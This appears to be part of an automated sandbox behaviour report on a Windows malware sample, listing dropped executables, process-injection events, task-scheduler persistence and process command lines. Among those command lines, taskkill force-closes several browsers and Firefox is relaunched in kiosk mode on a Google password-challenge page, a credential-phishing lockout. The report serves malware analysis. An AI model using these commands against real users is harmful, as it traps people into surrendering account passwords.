N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4548 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe
PID 4548 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe
PID 4548 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe
PID 1520 wrote to memory of 3996 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe
PID 1520 wrote to memory of 3996 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe
PID 1520 wrote to memory of 3996 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe
PID 3996 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe
PID 3996 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe
PID 3996 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe
PID 852 wrote to memory of 3340 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 852 wrote to memory of 3340 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 852 wrote to memory of 3340 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
PID 3996 wrote to memory of 1228 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe
PID 3996 wrote to memory of 1228 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe
PID 3996 wrote to memory of 1228 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe
PID 1228 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1228 wrote to memory of 4232 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 3672 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 3672 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 3224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 3224 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 3212 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 3212 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4232 wrote to memory of 3212 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9.exe

"C:\Users\Admin\AppData\Local\Temp\37bb540ef0728807db30f972fcfd0f299d3999e5355cf6132e747a5b478e7fd9.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\p6W91.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\l5S96.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1O21J1.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

"C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2K3761.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2K3761.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffef56346f8,0x7ffef5634708,0x7ffef5634718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2188 /prefetch:2

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2300 /prefetch:3

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2624 /prefetch:8

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3288 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3296 /prefetch:1

C:\Windows\System32\CompPkgSrv.exe

C:\Windows\System32\CompPkgSrv.exe -Embedding

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4964 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5568 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5568 /prefetch:8

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5444 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5044 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5700 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2K3761.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x164,0x168,0x16c,0x140,0x170,0x7ffef56346f8,0x7ffef5634708,0x7ffef5634718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5332 /prefetch:1

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,10364369074270756647,3756341915679987506,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5880 /prefetch:1

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3T73k.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\4g841H.exe

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM firefox.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM chrome.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM msedge.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM opera.exe /T

C:\Windows\SysWOW64\taskkill.exe

taskkill /F /IM brave.exe /T

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2036 -parentBuildID 20240401114208 -prefsHandle 1964 -prefMapHandle 1956 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {ed364d55-2c09-4460-bcf0-f5a584c118c8} 3684 "\\.\pipe\gecko-crash-server-pipe.3684" gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2472 -parentBuildID 20240401114208 -prefsHandle 2448 -prefMapHandle 2444 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f44bb56-945f-498d-a9e5-d7ab6e06d043} 3684 "\\.\pipe\gecko-crash-server-pipe.3684" socket

